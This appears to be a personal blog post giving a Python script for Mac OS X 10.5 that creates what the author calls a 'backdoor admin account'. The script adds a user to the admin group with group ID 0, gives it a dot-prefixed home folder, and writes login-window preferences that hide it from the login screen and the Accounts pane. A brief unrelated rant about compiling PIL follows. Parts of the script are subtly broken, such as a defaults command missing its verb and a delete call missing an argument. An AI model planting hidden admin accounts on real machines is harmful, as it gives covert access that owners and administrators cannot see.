Entirely Hidden Users in OS X 10.5 Leopard
Recently for a project I had to figure out a way to essentially create a backdoor admin account. I came up with a neato script (a combination of methods) which should do it for you. It’s still kind of hackish and I haven’t dealt with the whole create-more-than-one-hidden-user thing, but it works as advertised and is safe. The user will not appear in the accounts pref pane, nor will he/she appear on the login screen. The user’s home folder will become a dot (.) file in /Users. For me, mine would be /Users/.keiterk — making it decently invisible.
import sys
import os
from optparse import OptionParser
import commands
from getpass import getpass
DEBUG = True
VERBOSE = False
def vprint(msg):
global VERBOSE, DEBUG
if DEBUG or VERBOSE:
print msg
def system_command(cmd, return_status = False):
global VERBOSE, DEBUG
if DEBUG:
print 'tExecuting:: ' + cmd
else:
if return_status:
commands.getstatusoutput(cmd)
else:
commands.getoutput(cmd)
def create_user(username, password):
"""
Creates a new user given a username and password.
"""
params = {
'username': username,
'password': password,
'sudo': '/usr/bin/sudo',
'dscl': '/usr/bin/dscl',
'ditto': '/usr/bin/ditto',
'mkdir': '/bin/mkdir',
'chown': '/usr/sbin/chown',
'homedir': '/Users/.' + username,
}
# Create the user
vprint('Enabling new user in directory service...')
system_command('%(sudo)s %(dscl)s localhost create /Local/Default/Users/%(username)s' % params)
vprint('Setting primary GID to 0...')
system_command('%(sudo)s %(dscl)s localhost create /Local/Default/Users/%(username)s PrimaryGroupID 0' % params)
vprint('Setting unique ID to 444...')
system_command('%(sudo)s %(dscl)s localhost create /Local/Default/Users/%(username)s UniqueID 444' % params)
vprint('Setting shell as /bin/bash...')
system_command('%(sudo)s %(dscl)s localhost create /Local/Default/Users/%(username)s UserShell /bin/bash' % params)
vprint('Setting hidden home directory as %s...' % params['homedir'])
system_command('%(sudo)s %(dscl)s localhost create /Local/Default/Users/%(username)s NFSHomeDirectory %(homedir)s' % params)
vprint('Setting password...')
system_command('%(sudo)s %(dscl)s localhost passwd /Local/Default/Users/%(username)s %(password)s' % params)
vprint('Appending admin group membership...')
system_command('%(sudo)s %(dscl)s localhost append /Local/Default/Groups/admin GroupMembership %(username)s' % params)
# Create the user's home directory structure
vprint('Creating user home directory: %s' % params['homedir'])
system_command('%(sudo)s %(mkdir)s -p %(homedir)s' % params)
vprint('Configuring template...')
system_command('%(sudo)s %(ditto)s -rsrc -V /System/Library/User Template/English.lproj/ %(homedir)s' % params)
vprint('Owning directory...')
system_command('%(sudo)s %(chown)s -Rf %(username)s:admin %(homedir)s' % params)
vprint('... DONE.')
return None
def delete_user(username, remove_home_folder):
params = {
'username': username,
'sudo': '/usr/bin/sudo',
'dscl': '/usr/bin/dscl',
'rm': '/bin/rm',
}
system_command('%(sudo)s %(dscl)s localhost delete /Local/Default/Users/%(username)s' % params)
system_command('%(sudo)s %(dscl)s localhost delete /Local/Default/Groups/admin GroupMembership %(username)s' % params)
return None
def hide_user(username):
params = {
'username': username,
'sudo': '/usr/bin/sudo',
'defaults': '/usr/bin/defaults',
'cp': '/bin/cp',
}
vprint('Backing up com.apple.loginwindow.plist to /Library/Preferences/com.apple.loginwindow.plist.backup')
system_command('%(sudo)s %(cp)s -n /Library/Preferences/com.apple.loginwindow.plist /Library/Preferences/com.apple.loginwindow.plist.backup' % params)
vprint('Writing PLIST defaults to hide user.')
system_command('%(sudo)s %(defaults)s write /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE' % params)
system_command('%(sudo)s %(defaults)s /Library/Preferences/com.apple.loginwindow HiddenUsersList -array %(username)s' % params)
system_command('%(sudo)s %(defaults)s write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool FALSE' % params)
return None
def main():
global VERBOSE
parser = OptionParser()
parser.add_option("-v", "--verbose", action="store_true", dest="verbose",
help='Show exactly what the system is doing.')
parser.add_option("-c", "--create", action="store_true", dest="action_create",
help='Indicate that you are creating a new user.')
parser.add_option("-r", "--remove", action="store_true", dest="action_remove",
help='Indicate that you wish to remove a user (only the username is required).')
parser.add_option('-u', '--username', dest="username", action="store", type="string",
help='Provide a username for the new user.')
parser.add_option('-p', '--password', dest="password", default=None, action="store", type="string",
help="Provide a password for the new user. If not, you will be mask-prompted for one.")
#parser.add_option('-i', '--uid', dest="uid", default=None, action="store", type="int",
# help="Provide a UID for the new user.")
#parser.add_option('-g', '--gid', dest="gid", default=None, action="store", type="int",
# help="Provide a GID for the new user.")
(options, args) = parser.parse_args()
VERBOSE = options.verbose
if options.action_create:
print('Creating new user: %s' % options.username)
if options.password is None:
password = getpass('Please enter a password for the new user (masked): ')
else:
password = options.password
create_user(
username=options.username,
password=password,
)
hide_user(options.username)
elif options.action_remove:
print('Removing user: %s' % options.username)
delete_user(options.username)
if __name__ == '__main__':
main()
You can run it with python hiddenuser.py or whatever you decide to call the file.
Arch is Evil
Microrant: Just had to recompile Python Imaging Library under Leopard. It was way more of a pain in the ass than I though it could have ever been. I was running into errors about the architecture type of some libraries that were needed to compile PIL. Completely forgot about my env variables and went hunting through the setup code for hours trying to pinpoint the problem. Turned out it was one env variable that I’d forgotten to set. Remember: env ARCHFLAGS=’-arch i386′